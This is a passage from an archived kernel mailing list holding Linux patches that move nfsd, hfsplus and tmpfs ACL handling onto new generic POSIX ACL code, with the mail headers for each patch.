(acl == NULL) { /* Solaris returns the inode's minimum ACL. */ - - struct inode *inode = fh->fh_dentry->d_inode; acl = posix_acl_from_mode(inode->i_mode, GFP_KERNEL); } resp->acl_access = acl; @@ -65,17 +60,10 @@ static __be32 nfsd3_proc_getacl(struct svc_rqst * rqstp, if (resp->mask & (NFS_DFACL|NFS_DFACLCNT)) { /* Check how Solaris handles requests for the Default ACL of a non-directory! */ - - acl = nfsd_get_posix_acl(fh, ACL_TYPE_DEFAULT); + acl = get_acl(inode, ACL_TYPE_DEFAULT); if (IS_ERR(acl)) { - int err = PTR_ERR(acl); - - if (err == -ENODATA || err == -EOPNOTSUPP) - acl = NULL; - else { - nfserr = nfserrno(err); - goto fail; - } + nfserr = nfserrno(PTR_ERR(acl)); + goto fail; } resp->acl_default = acl; } @@ -96,21 +84,37 @@ static __be32 nfsd3_proc_setacl(struct svc_rqst * rqstp, struct nfsd3_setaclargs *argp, struct nfsd3_attrstat *resp) { + struct inode *inode; svc_fh *fh; __be32 nfserr = 0; + int error; fh = fh_copy(&resp->fh, &argp->fh); nfserr = fh_verify(rqstp, &resp->fh, 0, NFSD_MAY_SATTR); + if (nfserr) + goto out; - if (!nfserr) { - nfserr = nfserrno( nfsd_set_posix_acl( - fh, ACL_TYPE_ACCESS, argp->acl_access) ); - } - if (!nfserr) { - nfserr = nfserrno( nfsd_set_posix_acl( - fh, ACL_TYPE_DEFAULT, argp->acl_default) ); + inode = fh->fh_dentry->d_inode; + if (!IS_POSIXACL(inode) || !inode->i_op->set_acl) { + error = -EOPNOTSUPP; + goto out_errno; } + error = fh_want_write(fh); + if (error) + goto out_errno; + + error = inode->i_op->set_acl(inode, argp->acl_access, ACL_TYPE_ACCESS); + if (error) + goto out_drop_write; + error = inode->i_op->set_acl(inode, argp->acl_default, + ACL_TYPE_DEFAULT); + +out_drop_write: + fh_drop_write(fh); +out_errno: + nfserr = nfserrno(error); +out: /* argp->acl_{access,default} may have been allocated in nfs3svc_decode_setaclargs. */ posix_acl_release(argp->acl_access); diff --git a/fs/nfsd/nfs4acl.c b/fs/nfsd/nfs4acl.c index 8a50b3c..649ad7c 100644 --- a/fs/nfsd/nfs4acl.c +++ b/fs/nfsd/nfs4acl.c @@ -37,8 +37,13 @@ #include #include #include +#include "nfsfh.h" #include "acl.h" +#include "vfs.h" +#define NFS4_ACL_TYPE_DEFAULT 0x01 +#define NFS4_ACL_DIR 0x02 +#define NFS4_ACL_OWNER 0x04 /* mode bit translations: */ #define NFS4_READ_MODE (NFS4_ACE_READ_DATA) @@ -130,36 +135,50 @@ static short ace2type(struct nfs4_ace *); static void _posix_to_nfsv4_one(struct posix_acl *, struct nfs4_acl *, unsigned int); -struct nfs4_acl * -nfs4_acl_posix_to_nfsv4(struct posix_acl *pacl, struct posix_acl *dpacl, - unsigned int flags) +int +nfsd4_get_nfs4_acl(struct svc_rqst *rqstp, struct dentry *dentry, + struct nfs4_acl **acl) { - struct nfs4_acl *acl; + struct inode *inode = dentry->d_inode; + int error = 0; + struct posix_acl *pacl = NULL, *dpacl = NULL; + unsigned int flags = 0; int size = 0; - if (pacl) { - if (posix_acl_valid(pacl) < 0) - return ERR_PTR(-EINVAL); - size += 2*pacl->a_count; + pacl = get_acl(inode, ACL_TYPE_ACCESS); + if (!pacl) { + pacl = posix_acl_from_mode(inode->i_mode, GFP_KERNEL); + if (IS_ERR(pacl)) + return PTR_ERR(pacl); + /* allocate for worst case: one (deny, allow) pair each: */ + size += 2 * pacl->a_count; } - if (dpacl) { - if (posix_acl_valid(dpacl) < 0) - return ERR_PTR(-EINVAL); - size += 2*dpacl->a_count; + + if (S_ISDIR(inode->i_mode)) { + flags = NFS4_ACL_DIR; + dpacl = get_acl(inode, ACL_TYPE_DEFAULT); + if (dpacl) + size += 2 * dpacl->a_count; + } else { + dpacl = NULL; } - /* Allocate for worst case: one (deny, allow) pair each: */ - acl = nfs4_acl_new(size); - if (acl == NULL) - return ERR_PTR(-ENOMEM); + *acl = nfs4_acl_new(size); + if (*acl == NULL) { + error = -ENOMEM; + goto out; + } if (pacl) - _posix_to_nfsv4_one(pacl, acl, flags & ~NFS4_ACL_TYPE_DEFAULT); + _posix_to_nfsv4_one(pacl, *acl, flags & ~NFS4_ACL_TYPE_DEFAULT); if (dpacl) - _posix_to_nfsv4_one(dpacl, acl, flags | NFS4_ACL_TYPE_DEFAULT); + _posix_to_nfsv4_one(dpacl, *acl, flags | NFS4_ACL_TYPE_DEFAULT); - return acl; + out: + posix_acl_release(pacl); + posix_acl_release(dpacl); + return error; } struct posix_acl_summary { @@ -719,8 +738,9 @@ static void process_one_v4_ace(struct posix_acl_state *state, } } -int nfs4_acl_nfsv4_to_posix(struct nfs4_acl *acl, struct posix_acl **pacl, - struct posix_acl **dpacl, unsigned int flags) +static int nfs4_acl_nfsv4_to_posix(struct nfs4_acl *acl, + struct posix_acl **pacl, struct posix_acl **dpacl, + unsigned int flags) { struct posix_acl_state effective_acl_state, default_acl_state; struct nfs4_ace *ace; @@ -780,6 +800,57 @@ out_estate: return ret; } +__be32 +nfsd4_set_nfs4_acl(struct svc_rqst *rqstp, struct svc_fh *fhp, + struct nfs4_acl *acl) +{ + __be32 error; + int host_error; + struct dentry *dentry; + struct inode *inode; + struct posix_acl *pacl = NULL, *dpacl = NULL; + unsigned int flags = 0; + + /* Get inode */ + error = fh_verify(rqstp, fhp, 0, NFSD_MAY_SATTR); + if (error) + return error; + + dentry = fhp->fh_dentry; + inode = dentry->d_inode; + + if (!inode->i_op->set_acl || !IS_POSIXACL(inode)) + return nfserr_attrnotsupp; + + if (S_ISDIR(inode->i_mode)) + flags = NFS4_ACL_DIR; + + host_error = nfs4_acl_nfsv4_to_posix(acl, &pacl, &dpacl, flags); + if (host_error == -EINVAL) + return nfserr_attrnotsupp; + if (host_error < 0) + goto out_nfserr; + + host_error = inode->i_op->set_acl(inode, pacl, ACL_TYPE_ACCESS); + if (host_error < 0) + goto out_release; + + if (S_ISDIR(inode->i_mode)) { + host_error = inode->i_op->set_acl(inode, dpacl, + ACL_TYPE_DEFAULT); + } + +out_release: + posix_acl_release(pacl); + posix_acl_release(dpacl); +out_nfserr: + if (host_error == -EOPNOTSUPP) + return nfserr_attrnotsupp; + else + return nfserrno(host_error); +} + + static short ace2type(struct nfs4_ace *ace) { @@ -798,9 +869,6 @@ ace2type(struct nfs4_ace *ace) return -1; } -EXPORT_SYMBOL(nfs4_acl_posix_to_nfsv4); -EXPORT_SYMBOL(nfs4_acl_nfsv4_to_posix); - struct nfs4_acl * nfs4_acl_new(int n) { @@ -862,7 +930,3 @@ nfs4_acl_write_who(int who, char *p) BUG(); return -1; } - -EXPORT_SYMBOL(nfs4_acl_new); -EXPORT_SYMBOL(nfs4_acl_get_whotype); -EXPORT_SYMBOL(nfs4_acl_write_who); diff --git a/fs/nfsd/nfs4proc.c b/fs/nfsd/nfs4proc.c index 419572f..825b8a9 100644 --- a/fs/nfsd/nfs4proc.c +++ b/fs/nfsd/nfs4proc.c @@ -41,6 +41,7 @@ #include "vfs.h" #include "current_stateid.h" #include "netns.h" +#include "acl.h" #ifdef CONFIG_NFSD_V4_SECURITY_LABEL #include diff --git a/fs/nfsd/vfs.c b/fs/nfsd/vfs.c index 7eea63c..1426eb6 100644 --- a/fs/nfsd/vfs.c +++ b/fs/nfsd/vfs.c @@ -468,158 +468,7 @@ out: return err; } -#if defined(CONFIG_NFSD_V2_ACL) || \ - defined(CONFIG_NFSD_V3_ACL) || \ - defined(CONFIG_NFSD_V4) -static ssize_t nfsd_getxattr(struct dentry *dentry, char *key, void **buf) -{ - ssize_t buflen; - ssize_t ret; - - buflen = vfs_getxattr(dentry, key, NULL, 0); - if (buflen <= 0) - return buflen; - - *buf = kmalloc(buflen, GFP_KERNEL); - if (!*buf) - return -ENOMEM; - - ret = vfs_getxattr(dentry, key, *buf, buflen); - if (ret < 0) - kfree(*buf); - return ret; -} -#endif - #if defined(CONFIG_NFSD_V4) -static int -set_nfsv4_acl_one(struct dentry *dentry, struct posix_acl *pacl, char *key) -{ - int len; - size_t buflen; - char *buf = NULL; - int error = 0; - - buflen = posix_acl_xattr_size(pacl->a_count); - buf = kmalloc(buflen, GFP_KERNEL); - error = -ENOMEM; - if (buf == NULL) - goto out; - - len = posix_acl_to_xattr(&init_user_ns, pacl, buf, buflen); - if (len < 0) { - error = len; - goto out; - } - - error = vfs_setxattr(dentry, key, buf, len, 0); -out: - kfree(buf); - return error; -} - -__be32 -nfsd4_set_nfs4_acl(struct svc_rqst *rqstp, struct svc_fh *fhp, - struct nfs4_acl *acl) -{ - __be32 error; - int host_error; - struct dentry *dentry; - struct inode *inode; - struct posix_acl *pacl = NULL, *dpacl = NULL; - unsigned int flags = 0; - - /* Get inode */ - error = fh_verify(rqstp, fhp, 0, NFSD_MAY_SATTR); - if (error) - return error; - - dentry = fhp->fh_dentry; - inode = dentry->d_inode; - if (S_ISDIR(inode->i_mode)) - flags = NFS4_ACL_DIR; - - host_error = nfs4_acl_nfsv4_to_posix(acl, &pacl, &dpacl, flags); - if (host_error == -EINVAL) { - return nfserr_attrnotsupp; - } else if (host_error < 0) - goto out_nfserr; - - host_error = set_nfsv4_acl_one(dentry, pacl, POSIX_ACL_XATTR_ACCESS); - if (host_error < 0) - goto out_release; - - if (S_ISDIR(inode->i_mode)) - host_error = set_nfsv4_acl_one(dentry, dpacl, POSIX_ACL_XATTR_DEFAULT); - -out_release: - posix_acl_release(pacl); - posix_acl_release(dpacl); -out_nfserr: - if (host_error == -EOPNOTSUPP) - return nfserr_attrnotsupp; - else - return nfserrno(host_error); -} - -static struct posix_acl * -_get_posix_acl(struct dentry *dentry, char *key) -{ - void *buf = NULL; - struct posix_acl *pacl = NULL; - int buflen; - - buflen = nfsd_getxattr(dentry, key, &buf); - if (!buflen) - buflen = -ENODATA; - if (buflen <= 0) - return ERR_PTR(buflen); - - pacl = posix_acl_from_xattr(&init_user_ns, buf, buflen); - kfree(buf); - return pacl; -} - -int -nfsd4_get_nfs4_acl(struct svc_rqst *rqstp, struct dentry *dentry, struct nfs4_acl **acl) -{ - struct inode *inode = dentry->d_inode; - int error = 0; - struct posix_acl *pacl = NULL, *dpacl = NULL; - unsigned int flags = 0; - - pacl = _get_posix_acl(dentry, POSIX_ACL_XATTR_ACCESS); - if (IS_ERR(pacl) && PTR_ERR(pacl) == -ENODATA) - pacl = posix_acl_from_mode(inode->i_mode, GFP_KERNEL); - if (IS_ERR(pacl)) { - error = PTR_ERR(pacl); - pacl = NULL; - goto out; - } - - if (S_ISDIR(inode->i_mode)) { - dpacl = _get_posix_acl(dentry, POSIX_ACL_XATTR_DEFAULT); - if (IS_ERR(dpacl) && PTR_ERR(dpacl) == -ENODATA) - dpacl = NULL; - else if (IS_ERR(dpacl)) { - error = PTR_ERR(dpacl); - dpacl = NULL; - goto out; - } - flags = NFS4_ACL_DIR; - } - - *acl = nfs4_acl_posix_to_nfsv4(pacl, dpacl, flags); - if (IS_ERR(*acl)) { - error = PTR_ERR(*acl); - *acl = NULL; - } - out: - posix_acl_release(pacl); - posix_acl_release(dpacl); - return error; -} - /* * NFS junction information is stored in an extended attribute. */ @@ -2284,93 +2133,3 @@ out_nomem: nfsd_racache_shutdown(); return -ENOMEM; } - -#if defined(CONFIG_NFSD_V2_ACL) || defined(CONFIG_NFSD_V3_ACL) -struct posix_acl * -nfsd_get_posix_acl(struct svc_fh *fhp, int type) -{ - struct inode *inode = fhp->fh_dentry->d_inode; - char *name; - void *value = NULL; - ssize_t size; - struct posix_acl *acl; - - if (!IS_POSIXACL(inode)) - return ERR_PTR(-EOPNOTSUPP); - - switch (type) { - case ACL_TYPE_ACCESS: - name = POSIX_ACL_XATTR_ACCESS; - break; - case ACL_TYPE_DEFAULT: - name = POSIX_ACL_XATTR_DEFAULT; - break; - default: - return ERR_PTR(-EOPNOTSUPP); - } - - size = nfsd_getxattr(fhp->fh_dentry, name, &value); - if (size < 0) - return ERR_PTR(size); - - acl = posix_acl_from_xattr(&init_user_ns, value, size); - kfree(value); - return acl; -} - -int -nfsd_set_posix_acl(struct svc_fh *fhp, int type, struct posix_acl *acl) -{ - struct inode *inode = fhp->fh_dentry->d_inode; - char *name; - void *value = NULL; - size_t size; - int error; - - if (!IS_POSIXACL(inode) || - !inode->i_op->setxattr || !inode->i_op->removexattr) - return -EOPNOTSUPP; - switch(type) { - case ACL_TYPE_ACCESS: - name = POSIX_ACL_XATTR_ACCESS; - break; - case ACL_TYPE_DEFAULT: - name = POSIX_ACL_XATTR_DEFAULT; - break; - default: - return -EOPNOTSUPP; - } - - if (acl && acl->a_count) { - size = posix_acl_xattr_size(acl->a_count); - value = kmalloc(size, GFP_KERNEL); - if (!value) - return -ENOMEM; - error = posix_acl_to_xattr(&init_user_ns, acl, value, size); - if (error < 0) - goto getout; - size = error; - } else - size = 0; - - error = fh_want_write(fhp); - if (error) - goto getout; - if (size) - error = vfs_setxattr(fhp->fh_dentry, name, value, size, 0); - else { - if (!S_ISDIR(inode->i_mode) && type == ACL_TYPE_DEFAULT) - error = 0; - else { - error = vfs_removexattr(fhp->fh_dentry, name); - if (error == -ENODATA) - error = 0; - } - } - fh_drop_write(fhp); - -getout: - kfree(value); - return error; -} -#endif /* defined(CONFIG_NFSD_V2_ACL) || defined(CONFIG_NFSD_V3_ACL) */ diff --git a/fs/nfsd/vfs.h b/fs/nfsd/vfs.h index a4be2e3..1bc1d44 100644 --- a/fs/nfsd/vfs.h +++ b/fs/nfsd/vfs.h @@ -52,9 +52,6 @@ __be32 nfsd_setattr(struct svc_rqst *, struct svc_fh *, struct iattr *, int, time_t); int nfsd_mountpoint(struct dentry *, struct svc_export *); #ifdef CONFIG_NFSD_V4 -__be32 nfsd4_set_nfs4_acl(struct svc_rqst *, struct svc_fh *, - struct nfs4_acl *); -int nfsd4_get_nfs4_acl(struct svc_rqst *, struct dentry *, struct nfs4_acl **); __be32 nfsd4_set_nfs4_label(struct svc_rqst *, struct svc_fh *, struct xdr_netobj *); #endif /* CONFIG_NFSD_V4 */ @@ -101,11 +98,6 @@ __be32 nfsd_statfs(struct svc_rqst *, struct svc_fh *, __be32 nfsd_permission(struct svc_rqst *, struct svc_export *, struct dentry *, int); -#if defined(CONFIG_NFSD_V2_ACL) || defined(CONFIG_NFSD_V3_ACL) -struct posix_acl *nfsd_get_posix_acl(struct svc_fh *, int); -int nfsd_set_posix_acl(struct svc_fh *, int, struct posix_acl *); -#endif - static inline int fh_want_write(struct svc_fh *fh) { int ret = mnt_want_write(fh->fh_export->ex_path.mnt); -- 1.7.10.4 From BATV+6b9212eba5af06a6d03c+3771+infradead.org+hch@bombadil.srs.infradead.org Fri Dec 20 07:25:46 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 2B6FA29E43 for ; Fri, 20 Dec 2013 07:25:44 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id DFC4930409B for ; Fri, 20 Dec 2013 05:25:43 -0800 (PST) X-ASG-Debug-ID: 1387545942-04bdf00fdf149330001-NocioJ Received: from bombadil.infradead.org (bombadil.infradead.org [198.137.202.9]) by cuda.sgi.com with ESMTP id 5BhVwqZ2RJusAII9 (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Fri, 20 Dec 2013 05:25:42 -0800 (PST) X-Barracuda-Envelope-From: BATV+6b9212eba5af06a6d03c+3771+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1Vu04z-0003OF-19; Fri, 20 Dec 2013 13:25:25 +0000 Message-Id: <20131220132524.900291394@bombadil.infradead.org> User-Agent: quilt/0.60-1 Date: Fri, 20 Dec 2013 05:16:56 -0800 From: Christoph Hellwig To: viro@zeniv.linux.org.uk Cc: linux-fsdevel@vger.kernel.org, linux-btrfs@vger.kernel.org, linux-ext4@vger.kernel.org, linux-f2fs-devel@lists.sourceforge.net, linux-mtd@lists.infradead.org, Mark Fasheh , Joel Becker , reiserfs-devel@vger.kernel.org, xfs@oss.sgi.com, jfs-discussion@lists.sourceforge.net, cluster-devel@redhat.com, linux-nfs@vger.kernel.org, Andreas Gruenbacher Subject: [PATCH 21/21] hfsplus: remove can_set_xattr References: <20131220131635.650823732@bombadil.infradead.org> X-ASG-Orig-Subj: [PATCH 21/21] hfsplus: remove can_set_xattr Content-Disposition: inline; filename=0021-hfsplus-remove-can_set_xattr.patch X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[198.137.202.9] X-Barracuda-Start-Time: 1387545942 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143253 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header When using the per-superblock xattr handlers permission checking is done by the generic code. hfsplus just needs to check for the magic osx attribute not to leak into protected namespaces. Also given that the code was obviously copied from JFS the proper attribution was missing. Signed-off-by: Christoph Hellwig --- fs/hfsplus/xattr.c | 87 ++-------------------------------------------------- 1 file changed, 3 insertions(+), 84 deletions(-) diff --git a/fs/hfsplus/xattr.c b/fs/hfsplus/xattr.c index bf88baa..0b4a5c9 100644 --- a/fs/hfsplus/xattr.c +++ b/fs/hfsplus/xattr.c @@ -52,82 +52,6 @@ static inline int is_known_namespace(const char *name) return true; } -static int can_set_system_xattr(struct inode *inode, const char *name, - const void *value, size_t size) -{ -#ifdef CONFIG_HFSPLUS_FS_POSIX_ACL - struct posix_acl *acl; - int err; - - if (!inode_owner_or_capable(inode)) - return -EPERM; - - /* - * POSIX_ACL_XATTR_ACCESS is tied to i_mode - */ - if (strcmp(name, POSIX_ACL_XATTR_ACCESS) == 0) { - acl = posix_acl_from_xattr(&init_user_ns, value, size); - if (IS_ERR(acl)) - return PTR_ERR(acl); - if (acl) { - err = posix_acl_equiv_mode(acl, &inode->i_mode); - posix_acl_release(acl); - if (err < 0) - return err; - mark_inode_dirty(inode); - } - /* - * We're changing the ACL. Get rid of the cached one - */ - forget_cached_acl(inode, ACL_TYPE_ACCESS); - - return 0; - } else if (strcmp(name, POSIX_ACL_XATTR_DEFAULT) == 0) { - acl = posix_acl_from_xattr(&init_user_ns, value, size); - if (IS_ERR(acl)) - return PTR_ERR(acl); - posix_acl_release(acl); - - /* - * We're changing the default ACL. Get rid of the cached one - */ - forget_cached_acl(inode, ACL_TYPE_DEFAULT); - - return 0; - } -#endif /* CONFIG_HFSPLUS_FS_POSIX_ACL */ - return -EOPNOTSUPP; -} - -static int can_set_xattr(struct inode *inode, const char *name, - const void *value, size_t value_len) -{ - if (!strncmp(name, XATTR_SYSTEM_PREFIX, XATTR_SYSTEM_PREFIX_LEN)) - return can_set_system_xattr(inode, name, value, value_len); - - if (!strncmp(name, XATTR_MAC_OSX_PREFIX, XATTR_MAC_OSX_PREFIX_LEN)) { - /* - * This makes sure that we aren't trying to set an - * attribute in a different namespace by prefixing it - * with "osx." - */ - if (is_known_namespace(name + XATTR_MAC_OSX_PREFIX_LEN)) - return -EOPNOTSUPP; - - return 0; - } - - /* - * Don't allow setting an attribute in an unknown namespace. - */ - if (strncmp(name, XATTR_TRUSTED_PREFIX, XATTR_TRUSTED_PREFIX_LEN) && - strncmp(name, XATTR_SECURITY_PREFIX, XATTR_SECURITY_PREFIX_LEN) && - strncmp(name, XATTR_USER_PREFIX, XATTR_USER_PREFIX_LEN)) - return -EOPNOTSUPP; - - return 0; -} - static void hfsplus_init_header_node(struct inode *attr_file, u32 clump_size, char *buf, u16 node_size) @@ -350,10 +274,6 @@ int __hfsplus_setxattr(struct inode *inode, const char *name, HFSPLUS_IS_RSRC(inode)) return -EOPNOTSUPP; - err = can_set_xattr(inode, name, value, size); - if (err) - return err; - if (strncmp(name, XATTR_MAC_OSX_PREFIX, XATTR_MAC_OSX_PREFIX_LEN) == 0) name += XATTR_MAC_OSX_PREFIX_LEN; @@ -841,10 +761,6 @@ int hfsplus_removexattr(struct dentry *dentry, const char *name) if (!HFSPLUS_SB(inode->i_sb)->attr_tree) return -EOPNOTSUPP; - err = can_set_xattr(inode, name, NULL, 0); - if (err) - return err; - if (strncmp(name, XATTR_MAC_OSX_PREFIX, XATTR_MAC_OSX_PREFIX_LEN) == 0) name += XATTR_MAC_OSX_PREFIX_LEN; @@ -941,6 +857,9 @@ static int hfsplus_osx_setxattr(struct dentry *dentry, const char *name, if (len > HFSPLUS_ATTR_MAX_STRLEN) return -EOPNOTSUPP; + if (is_known_namespace(name)) + return -EOPNOTSUPP; + strcpy(xattr_name, XATTR_MAC_OSX_PREFIX); strcpy(xattr_name + XATTR_MAC_OSX_PREFIX_LEN, name); -- 1.7.10.4 From BATV+6b9212eba5af06a6d03c+3771+infradead.org+hch@bombadil.srs.infradead.org Fri Dec 20 07:25:46 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id B0E7C29E4C for ; Fri, 20 Dec 2013 07:25:44 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 41D38AC00A for ; Fri, 20 Dec 2013 05:25:44 -0800 (PST) X-ASG-Debug-ID: 1387545942-04cb6c537b86c3a0001-NocioJ Received: from bombadil.infradead.org (bombadil.infradead.org [198.137.202.9]) by cuda.sgi.com with ESMTP id 2IT5oUcb8ESoYMQi (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Fri, 20 Dec 2013 05:25:42 -0800 (PST) X-Barracuda-Envelope-From: BATV+6b9212eba5af06a6d03c+3771+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1Vu04y-0003N0-LP; Fri, 20 Dec 2013 13:25:24 +0000 Message-Id: <20131220132524.544370626@bombadil.infradead.org> User-Agent: quilt/0.60-1 Date: Fri, 20 Dec 2013 05:16:54 -0800 From: Christoph Hellwig To: viro@zeniv.linux.org.uk Cc: linux-fsdevel@vger.kernel.org, linux-btrfs@vger.kernel.org, linux-ext4@vger.kernel.org, linux-f2fs-devel@lists.sourceforge.net, linux-mtd@lists.infradead.org, Mark Fasheh , Joel Becker , reiserfs-devel@vger.kernel.org, xfs@oss.sgi.com, jfs-discussion@lists.sourceforge.net, cluster-devel@redhat.com, linux-nfs@vger.kernel.org, Andreas Gruenbacher Subject: [PATCH 19/21] fs: remove generic_acl References: <20131220131635.650823732@bombadil.infradead.org> X-ASG-Orig-Subj: [PATCH 19/21] fs: remove generic_acl Content-Disposition: inline; filename=0019-fs-remove-generic_acl.patch X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[198.137.202.9] X-Barracuda-Start-Time: 1387545942 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143253 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header And instead convert tmpfs to use the new generic ACL code, with two stub methods provided for in-memory filesystems. Signed-off-by: Christoph Hellwig --- fs/Kconfig | 6 +- fs/Makefile | 1 - fs/generic_acl.c | 184 ------------------------------------------- fs/posix_acl.c | 36 +++++++++ include/linux/generic_acl.h | 14 ---- include/linux/posix_acl.h | 9 +++ mm/shmem.c | 57 ++++++-------- 7 files changed, 69 insertions(+), 238 deletions(-) delete mode 100644 fs/generic_acl.c delete mode 100644 include/linux/generic_acl.h diff --git a/fs/Kconfig b/fs/Kconfig index c229f82..7385e54 100644 --- a/fs/Kconfig +++ b/fs/Kconfig @@ -68,10 +68,6 @@ source "fs/quota/Kconfig" source "fs/autofs4/Kconfig" source "fs/fuse/Kconfig" -config GENERIC_ACL - bool - select FS_POSIX_ACL - menu "Caches" source "fs/fscache/Kconfig" @@ -119,7 +115,7 @@ config TMPFS_POSIX_ACL bool "Tmpfs POSIX Access Control Lists" depends on TMPFS select TMPFS_XATTR - select GENERIC_ACL + select FS_POSIX_ACL help POSIX Access Control Lists (ACLs) support additional access rights for users and groups beyond the standard owner/group/world scheme, diff --git a/fs/Makefile b/fs/Makefile index f2c1843..5bebad4 100644 --- a/fs/Makefile +++ b/fs/Makefile @@ -44,7 +44,6 @@ obj-$(CONFIG_BINFMT_FLAT) += binfmt_flat.o obj-$(CONFIG_FS_MBCACHE) += mbcache.o obj-$(CONFIG_FS_POSIX_ACL) += posix_acl.o obj-$(CONFIG_NFS_COMMON) += nfs_common/ -obj-$(CONFIG_GENERIC_ACL) += generic_acl.o obj-$(CONFIG_COREDUMP) += coredump.o obj-$(CONFIG_SYSCTL) += drop_caches.o diff --git a/fs/generic_acl.c b/fs/generic_acl.c deleted file mode 100644 index 4357f39..0000000 --- a/fs/generic_acl.c +++ /dev/null @@ -1,184 +0,0 @@ -/* - * (C) 2005 Andreas Gruenbacher - * - * This file is released under the GPL. - * - * Generic ACL support for in-memory filesystems. - */ - -#include -#include -#include -#include -#include -#include - - -static size_t -generic_acl_list(struct dentry *dentry, char *list, size_t list_size, - const char *name, size_t name_len, int type) -{ - struct posix_acl *acl; - const char *xname; - size_t size; - - acl = get_cached_acl(dentry->d_inode, type); - if (!acl) - return 0; - posix_acl_release(acl); - - switch (type) { - case ACL_TYPE_ACCESS: - xname = POSIX_ACL_XATTR_ACCESS; - break; - case ACL_TYPE_DEFAULT: - xname = POSIX_ACL_XATTR_DEFAULT; - break; - default: - return 0; - } - size = strlen(xname) + 1; - if (list && size <= list_size) - memcpy(list, xname, size); - return size; -} - -static int -generic_acl_get(struct dentry *dentry, const char *name, void *buffer, - size_t size, int type) -{ - struct posix_acl *acl; - int error; - - if (strcmp(name, "") != 0) - return -EINVAL; - - acl = get_cached_acl(dentry->d_inode, type); - if (!acl) - return -ENODATA; - error = posix_acl_to_xattr(&init_user_ns, acl, buffer, size); - posix_acl_release(acl); - - return error; -} - -static int -generic_acl_set(struct dentry *dentry, const char *name, const void *value, - size_t size, int flags, int type) -{ - struct inode *inode = dentry->d_inode; - struct posix_acl *acl = NULL; - int error; - - if (strcmp(name, "") != 0) - return -EINVAL; - if (S_ISLNK(inode->i_mode)) - return -EOPNOTSUPP; - if (!inode_owner_or_capable(inode)) - return -EPERM; - if (value) { - acl = posix_acl_from_xattr(&init_user_ns, value, size); - if (IS_ERR(acl)) - return PTR_ERR(acl); - } - if (acl) { - error = posix_acl_valid(acl); - if (error) - goto failed; - switch (type) { - case ACL_TYPE_ACCESS: - error = posix_acl_equiv_mode(acl, &inode->i_mode); - if (error < 0) - goto failed; - inode->i_ctime = CURRENT_TIME; - if (error == 0) { - posix_acl_release(acl); - acl = NULL; - } - break; - case ACL_TYPE_DEFAULT: - if (!S_ISDIR(inode->i_mode)) { - error = -EINVAL; - goto failed; - } - break; - } - } - set_cached_acl(inode, type, acl); - error = 0; -failed: - posix_acl_release(acl); - return error; -} - -/** - * generic_acl_init - Take care of acl inheritance at @inode create time - * - * Files created inside a directory with a default ACL inherit the - * directory's default ACL. - */ -int -generic_acl_init(struct inode *inode, struct inode *dir) -{ - struct posix_acl *acl = NULL; - int error; - - if (!S_ISLNK(inode->i_mode)) - acl = get_cached_acl(dir, ACL_TYPE_DEFAULT); - if (acl) { - if (S_ISDIR(inode->i_mode)) - set_cached_acl(inode, ACL_TYPE_DEFAULT, acl); - error = __posix_acl_create(&acl, GFP_KERNEL, &inode->i_mode); - if (error < 0) - return error; - if (error > 0) - set_cached_acl(inode, ACL_TYPE_ACCESS, acl); - } else { - inode->i_mode &= ~current_umask(); - } - error = 0; - - posix_acl_release(acl); - return error; -} - -/** - * generic_acl_chmod - change the access acl of @inode upon chmod() - * - * A chmod also changes the permissions of the owner, group/mask, and - * other ACL entries. - */ -int -generic_acl_chmod(struct inode *inode) -{ - struct posix_acl *acl; - int error = 0; - - if (S_ISLNK(inode->i_mode)) - return -EOPNOTSUPP; - acl = get_cached_acl(inode, 